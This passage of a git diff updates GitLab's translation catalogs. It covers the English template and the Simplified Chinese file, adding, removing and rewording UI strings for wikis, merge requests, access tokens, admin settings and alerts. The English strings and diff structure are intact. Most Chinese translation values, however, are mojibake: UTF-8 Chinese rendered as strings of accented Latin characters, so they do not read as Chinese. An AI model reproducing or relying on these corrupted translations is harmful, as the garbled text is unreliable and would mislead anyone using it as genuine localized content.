msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -35905,9 +35707,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36010,7 +35812,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index b2a575d5c29..e9919b58e10 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:26\n"
+"PO-Revision-Date: 2021-07-01 21:08\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr "从%{start}到%{end}"
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr "createInstance()必需“elâ€å‚æ•°"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d个核准"
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] "使用标记æˆåŠŸå¯¼å…¥%d个议题"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 个层"
@@ -358,6 +354,21 @@ msgstr "%{authorsName}的主题"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr "æ¥è‡ª%{name}çš„%{count}个核准"
msgid "%{count} files touched"
msgstr "已选择 %{count} 个文件"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,12 +602,12 @@ msgstr "%{level_name} ä¸å…许在 %{group_level_name} 组。"
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "由于派生的æºé¡¹ç›®å¯è§æ€§è¾ƒä½Žï¼Œå› æ­¤ä¸å…许使用%{level_name}。"
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}了解更多%{link_end}哪些信æ¯ä¼šå…±äº«ç»™GitLab Inc.。"
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}查看更多%{link_end} 关于角色æƒé™"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] "%{securityScanner}无结果,因为自å¯ç”¨ä»¥æ¥å°šæœªè¿è¡Œæµæ°´çº¿ã€‚%{linkStart}è¿è¡Œæµæ°´çº¿%{linkEnd}"
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr "%{size} %{unit}"
@@ -783,9 +801,6 @@ msgstr "从%{start}到%{end}"
msgid "%{state} epics"
msgstr "%{state}å²è¯—"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "%{strongStart}删除%{strongEnd}æºåˆ†æ”¯"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr "%{strongStart}æ示:%{strongEnd}您å¯ä»¥%{linkStart}通过以下命令%{linkEnd}å°†åˆå¹¶è¯·æ±‚检出到本地。"
@@ -878,12 +893,6 @@ msgstr "%{total}å¼€å¯è®®é¢˜æƒé‡"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "找到%{total}个警告: æ˜¾ç¤ºå‰ %{warningsDisplayed}"
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}了解更多%{usage_ping_link_end}分享给GitLab Inc.çš„ä¿¡æ¯ã€‚"
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (æ— æƒåˆå¹¶)"
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value}秒"
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "一个用于识别外部储存的请求安全令牌。"
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,14 +1654,14 @@ msgstr "接收电å­é‚®ä»¶ä»¤ç‰Œ"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "该令牌无法用于访问其它数æ®ã€‚"
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "请确ä¿è¯¥ä»¤ç‰Œçš„安全。任何æŒæœ‰è¯¥ä»¤ç‰Œçš„人,都å¯ä»¥ä»¥æ‚¨çš„身份æ¥åˆ›å»ºè®®é¢˜ã€‚如果令牌泄露,您应该%{reset_link_start}é‡ç½®ä»¤ç‰Œ %{reset_link_end} 。"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "请确ä¿è¯¥ä»¤ç‰Œçš„安全。任何æŒæœ‰è¯¥ä»¤ç‰Œçš„人,都å¯ä»¥ä»¥ä½ çš„身份æ¥åˆ›å»ºè®®é¢˜ã€‚如果令牌泄露,你应该%{link_reset_it} 。"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "请确ä¿è¯¥ä»¤ç‰Œçš„安全。任何æŒæœ‰è¯¥ä»¤ç‰Œçš„人,都å¯ä»¥ä»¥ä½ çš„身份æ¥é€šè¿‡RSSç§å­é˜…读你的活动以åŠé—®é¢˜åˆ—表信æ¯ã€‚如果令牌泄露,你应该%{link_reset_it} 。"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "个人访问令牌"
@@ -1678,17 +1678,17 @@ msgstr "您还å¯ä»¥ä½¿ç”¨ä¸ªäººè®¿é—®ä»¤ç‰Œé€šè¿‡HTTP进行Git验è¯ã€‚"
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "您å¯ä»¥ä¸ºéœ€è¦è®¿é—®GitLab APIçš„æ¯ä¸ªåº”用程åºç”Ÿæˆä¸ªäººè®¿é—®ä»¤ç‰Œã€‚"
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "当你的RSS阅读器加载个人RSSç§å­çš„时候或者在您的日历应用加载个人日历时,将使用你的RSS令牌æ¥è¿›è¡Œè®¤è¯ï¼Œå¹¶ä¸”会包å«åœ¨è¿™äº›feed URL里。"
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "当你使用电å­é‚®ä»¶åˆ›å»ºæ–°è®®é¢˜çš„时候,将使用接收邮件令牌进行验è¯ï¼Œè¯¥ä»¤ç‰Œä¹ŸåŒ…å«åœ¨ä¸ªäººçš„项目特定的电å­é‚®ä»¶åœ°å€ä¸­ã€‚"
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "您的é™æ€å¯¹è±¡ä»¤ç‰Œç”¨äºŽä»Žå¤–部存储存å–é™æ€å¯¹è±¡ï¼ˆä¾‹å¦‚:存档ã€å—...)时对您进行身份验è¯ã€‚"
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "é‡ç½®ä»¤ç‰Œ"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr "了解更多"
@@ -1807,6 +1807,9 @@ msgstr "å‘此行添加评论"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "添加一般评论 %{noteableDisplayName}。"
@@ -1816,6 +1819,9 @@ msgstr "添加一般评论 %{noteable_name}。"
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "在wiki中添加一个主页,其中包å«æœ‰å…³é¡¹ç›®çš„ä¿¡æ¯ï¼ŒGitLab将在此处显示该主页,而ä¸æ˜¯æ­¤æ¶ˆæ¯ã€‚"
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr "添加一行"
@@ -1879,6 +1885,9 @@ msgstr "添加注释到设计"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "添加部署冻结"
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "未指定用户。"
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "为新项目å¯ç”¨å…±äº«Runner"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "环境å˜é‡é»˜è®¤å—ä¿æŠ¤"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,20 +2263,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr "移动到集æˆ"
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "没有必需的æµæ°´çº¿"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "强制æµæ°´çº¿é…ç½®"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "选择æµæ°´çº¿é…置文件"
-
-msgid "AdminSettings|Select a template"
-msgstr "选择模æ¿"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "Service模æ¿å…许您设置集æˆçš„默认值"
@@ -2278,8 +2290,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "设置一个实例范围自动包å«çš„%{link_start}æµæ°´çº¿é…ç½®%{link_end}。 该æµæ°´çº¿é…置将在项目本身的é…ç½®åŽè¿è¡Œã€‚"
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "为æ¯ä¸ªé¡¹ç›®çš„自动审阅应用 (Auto Review Apps) 和自动部署 (Auto Deploy) 阶段指定一个默认使用的域。"
@@ -2287,11 +2299,8 @@ msgstr "为æ¯ä¸ªé¡¹ç›®çš„自动审阅应用 (Auto Review Apps) 和自动部署
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "强制æµæ°´çº¿é…ç½®å¯ä»Ž%{link_start}实例模æ¿åº“%{link_end}中%{code_start}gitlab-ci%{code_end}目录选择或使用GitLabæ供的é…置。"
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "创建一个新的环境å˜é‡æ—¶ï¼Œå®ƒä¼šè¢«é»˜è®¤ä¿æŠ¤ã€‚"
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2701,9 +2710,21 @@ msgstr "新加入的用户必须ç»è¿‡ç³»ç»Ÿç®¡ç†å‘˜å®¡æ ¸ä¸Žæ‰¹å‡†ã€‚了解更
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr "查看等待中的用户批准"
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr "授æƒå¯†é’¥"
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr "警报将通过此集æˆåˆ›å»º"
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr "警报将ä¸ä¼šé€šè¿‡æ­¤é›†æˆåˆ›å»º"
-msgid "AlertsIntegrations|Current integrations"
-msgstr "当å‰é›†æˆ"
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr "所有环境"
msgid "All epics"
msgstr "所有å²è¯—"
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "所有群组和项目"
@@ -3281,9 +3308,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "Amazon EKS集æˆå…许您从GitLab管ç†EKS集群。"
-msgid "Amazon Web Services"
-msgstr "Amazon网络æœåŠ¡"
-
msgid "Amazon Web Services Logo"
msgstr "Amazon网络æœåŠ¡æ ‡å¿—"
@@ -3356,9 +3380,6 @@ msgstr "删除标签时出错。"
msgid "An error occurred when toggling the notification subscription"
msgstr "切æ¢é€šçŸ¥è®¢é˜…æ—¶å‘生错误"
-msgid "An error occurred when updating the issue due date"
-msgstr "更新问题到期日时å‘生错误"
-
msgid "An error occurred when updating the issue weight"
msgstr "更新议题æƒé‡æ—¶å‘生错误"
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "å¯ç”¨æœåŠ¡å°æ—¶å‘生错误。"
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr "获å–分支时å‘生错误,请é‡è¯•æœç´¢ã€‚"
@@ -3500,6 +3524,9 @@ msgstr "获å–自动完整数æ®æ—¶å‘生错误。请刷新页é¢å¹¶é‡è¯•ã€‚"
msgid "An error occurred while getting files for - %{branchId}"
msgstr "获å–文件 - %{branchId} 时出错"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "获å–项目时å‘生错误"
@@ -3656,9 +3683,6 @@ msgstr "更新评论时å‘生错误"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr "更新里程碑时出错。"
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr "应用标记"
msgid "Apply a template"
msgstr "应用模æ¿"
-msgid "Apply changes"
-msgstr "应用å˜æ›´"
-
msgid "Apply suggestion"
msgstr "应用建议"
